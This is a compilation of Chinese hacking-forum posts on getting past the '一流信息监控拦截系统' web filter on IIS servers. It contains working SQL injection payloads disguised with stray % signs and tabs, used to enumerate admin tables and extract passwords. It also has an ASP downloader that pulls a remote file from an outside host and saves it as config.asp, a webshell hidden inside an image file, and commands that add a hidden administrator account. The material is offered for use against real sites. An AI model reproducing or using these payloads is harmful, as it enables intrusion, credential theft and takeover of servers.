文章作者:langouster
先来说URL编码,%加两位的16进制表示一个字符,比如’经过编码之后就是%27,这是人人都知道的URL编码规则,UrlUnescapeInPlace之类的API函数甚至于程序员自己写的URL译码函数都是基于这一思想。
然而,我们何必如此听话,试想一下要是%后跟的不是16进制数字而是像abc%hh会发生什么事呢。先看UrlUnescapeInPlace,
写个小程序试一下,abc%hh经过译码还是abc%hh;再看asp.dll是怎么译码的,在asp页面中写入 response.Write(request.QueryString("str")),然后用?str=abc%hh访问它,页面显示abchh,它直接把%给去掉了。
现在来思考要是我们提交sele%ct,信息监控系统得到的字符串还是sele%ct,当然它不是危险字符,它就不会拦截,但对于ASP,它得到的可就是select了,其它的同理,’可用%’表示,比如and exists(select * from admin)可转化为以下字符串a%nd ex%ists(%select * %from ad%min)。此方法可举一反三,比如用%%代替%都可以,还可以是其它的,具体的可以去看RFC2396。
以上仅是对于GET方式的分析,POST没试过,不过猜想也是可以的。并且经测试以上方法对目前的所有IIS防火墙都有效,包括VIF。
补充:其实发现这个漏洞已经有好些日子了,本来我是不想公开的,前些天两次给一流信息监控的人发邮件提醒他们,但他们就是没认真考虑我说的问题,还说一流信息系统可以把经过编码的注入字符也加到过滤清单中,不知道他们是怎么想的,他是觉得再加一条sele%ect过滤规则就可以了?那sele%%ct呢,也加上?那sele%%%ct呢??鉴于一流这种无所谓的态度我就公开此漏洞,希望他们能以此为鉴。
利用语句如下:
a%nd 1=1
就是 and 1=1 的意思 返回正常
a%nd 1=2 and 1=2
返回错误 说明存在注入
a%nd ex%ists(%select * %from ad%min) 或者 a%nd (%select count(*) from ad%min)>0
查询是否存在ADMIN这个表名 返回正确 说明存在ADMIN这个表名
and exists (select top 1 [admin] from [admin])
a%nd ex%ists(%select top 1 [ad%min] from [ad%min])
查询ADMIN表里是否存在ADMIN这个字段 正确说明存在
and exists (select top 1 [UserPassword from [admin])
a%nd ex%ists(%select top 1 [UserPassword] from [ad%min])
查询ADMIN表里是否存在UserPassword这个字段 正确说明存在UserPassword这个字段
and (select top 1 len(admin) from admin)>N
a%nd (%select top 1 len(ad%min) from ad%min)>N
查询字段长度 如果>5返回错误页面,>4返回正常页面,则证明字段为5 证明ADMIN这个字段为5
and (select top 1 asc(mid(列名,N,1)) from 表名)>N //前面的N代表当前猜解第几位数据,后面的N代表ASCII码,英文和数字的ASCII码在1-128之间
a%nd (%select top 1 asc(mid(admin,N,1)) from admin)>N
a 是97 返回正确 第一个是a d是99 依次类推 最后可以得到用户名为admin 下面是联合查询的语句 因为这个网站不支持联合查询 所以就不演示了
联合查询语句:
order by 12
o%rder by 12
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin
a%nd 1=2 union %select 1,2,3,4,5,6,7,8,9,10,11,12 from ad%min
二、信息来源:by lake2 (http://lake2.0x54.org)
上回渗透一站点,SQL Injection测试时返回这个页面(图1)
我晕,原来服务器上装了一个叫“一流信息监控拦截系统”的BT玩意儿,扫兴!查查它老底先。
Google一下“一流信息监控拦截系统”。原来这是广州××信息科技公司开发的内容监控系统,用来监控拦截非法信息的,当然也包括SQL注射。它主页上软件功能介绍赫然写着:“软件可以全面拦截任何的SQL注入式的攻击,就算多差的程序都不用担心了”。嘿嘿,大哥,牛皮不要吹得太大哟,不然怎么好下台啊。
看他把话说得那么绝,我一定要给他点颜色瞧瞧。呵呵,不是说只有想不到没有做不到么,嗯,让我想想先。网上没有找到那软件下载,算啦,就直接在网站上测试好了。
经过几回合测试,我发现那个软件是拦截独立的关键词,也就是拦截字符串“and”,而不会拦截包含“and”的字符串如“island”。提交http://xxx/x.asp?x=island 1=2时没问题,而提交http://xxx/x.asp?x=a and 1=1时就被拦截了。
呵呵,明白了吧,实际上程序要判别到底是不是完全匹配真正拦截的字符串是空格+关键词+空格(本例中就是“and ”)。如果用ASP代码表示的话就是:
If Instr(1 , StrQuest , “ and “ , 1) Then
Response.Write( “一些废话” )
Response.End
End If
拦截原理搞懂了,问题是怎么突破呢?往下看。
关键字是要注射要用到的,乱动不得,就只有从空格入手了。呵呵,想想什么东东可以代替空格啊,对,就是Tab!现在我修改URL用tab代替and前后的两个空格,呵呵,看看图2吧(Tab -->“%09”,空格 -->“%20”)。
Yeah,成功啦!传说中的一流信息监控拦截系统被我们绕过去了。哈哈,那个什么系统正好是个漏洞百出的Web程序,呵呵,继续如法炮制进行SQL注射拿管理员帐号密码得WebShell,那些都是体力活了,略过略过。
有了WebShell,执行“net user”命令又被他拦截了(这个可恶的家伙……),呵呵,小case啦,那就执行“net user”(中间两个空格)吧^_^
当然这种用Tab代替空格突破限制的方法也不仅仅局限于“一流信息监控拦截系统”,只要是类似的过滤方法就行。比如说青创文章系统(Version 1.5.2.23.7.0),它就是这种过滤方法,但是还过滤了“_”,而它的每个表都是article_xxx的形式,结果还是不能进行猜解。罢休!
最后顺便说下,一流信息监控系统“可以实时监控用户上传到服务器的每一张图片”、“对使用服务器的用户进行关键字监控,无论是通过 FTP方式上传或web方式上传的文件都可以准确监控,将不法用户的行为记录在案”等功能,好像侵犯隐私权了……
1、上传——突破一流信息监控系统上传木马
<%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.huobaodidai.cn/ma.txt",False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("config.asp"),2
set sGet = nothing
set sPOST = nothing response.Write("下载文件成功!<br>")
%>
先上传小马或者一句话,将上面的内容上传到目标服务器中保存为1.asp。然后直接访问
http://www.cqzh.cn/1.asp
提示下载成功即可。
让服务器自动下载 并保存!http://www.huobaodidai.cn/ma.txt 下载地址
保存文件 config.asp
2、遇到一个后台,可以上传任何的文件,但是发现SHELL上传上去后全是空的。
于是本地建了一个MDB数据库,写入
┼攠數畣整爠煥敵瑳∨≡┩愾
然后改为ASP上传,一句话木马上传成功了,再拿客户端去连的时候,出来了一流监控系统的提示
估计前面的SHELL为空也是这东西搞的。。
于是先将自己的SHELL用微软的screnc.exe进行加密。
然后新建一个很小的图片。
在CMD下面copy /b a.jpg+shell.asp rs.asp
利用二进制的方式将两个文件合并在一起。 这次再上传,成功了,没有被那个监控系统挡下来。
但是这时的SHELL要在FIREFOX下面才可以浏览,放到IE下面的话只会的到一张图片,而看不到SHELL 。
因为前面将SHELL与图片合并在一起了,所以这时的SHELL里面有很多乱码,这时利用SHELL的远程文件下载功能。
因为一流监控系统只会对向上传的数据进行检查,对服务器下载的数据并不会进行检测。
将一个干净的SHELL下载到服务器上就行,先将SHELL存为TXT文件然后传到自己的服务器上,然后再利用SHELL提供的远程文件下载功能将那个TXT文件下载到服务器上面存为ASP,这样就拿到了一个干净的SHELL。
很好的文章,仍不住转载了进来...弱弱的说,现在一流监控系统已经很普遍了!
3、提权——突破一流信息拦截系统
信息来源:天阳论坛 东方天宇
有突破一流信息拦截系统的网站,上传个马就不容易,好容易上传了,还不能执行命令,郁闷了..
执行命令提权的时候因为命令里有 net user 被拦截,
我KAO,换个思路。
运行批命令和直接执行命令效果是一样的,它既然不让执行net命令,我运行批命令还不行吗?
立刻动手,在ASP马里点[新建文件] 把名字改称hacker.bat 在内容里写上:
net usernet user hacker$ /del
net usernet user hacker$ hacker /add
net localgroup administrators hacker$ /add
OK。保存!
晕!不成功!直接被拦....
郁闷了一会,又想个办法:在本地弄个批命令,然后上传,这拦截系统总不会对文件拦截吧?
OK。上传!
晕!又被拦!...
难道这家伙真到看文件内容?
那它是怎么看的?
给服务器按个OD之类的?
不大现实...真正的EXE 程序想执行命令必然不会把命令原样保持在程序里的,
自己写个程序试试?
晕!没工具...又没经验...
算了
回家看电子书...1998-2002的绿盟的文章,好多..
看到个2000系统输入法漏洞入侵的文章,在文章结尾作者提出了几个问题,后来有高手做了答。
看到这几个问题的答案,偶突然有了突破一流信息拦截系统执行命令的方法..
.
1、准备提权命令:cmd.exe /c net user hacker hacker /add & net localgroup administrators hacker /add
2、新建快捷方式,在地址栏写入提权命令
3、上传这个快捷方式
4、在提权工具帮助下运行这个快捷方式.....
5、管理员添加成功....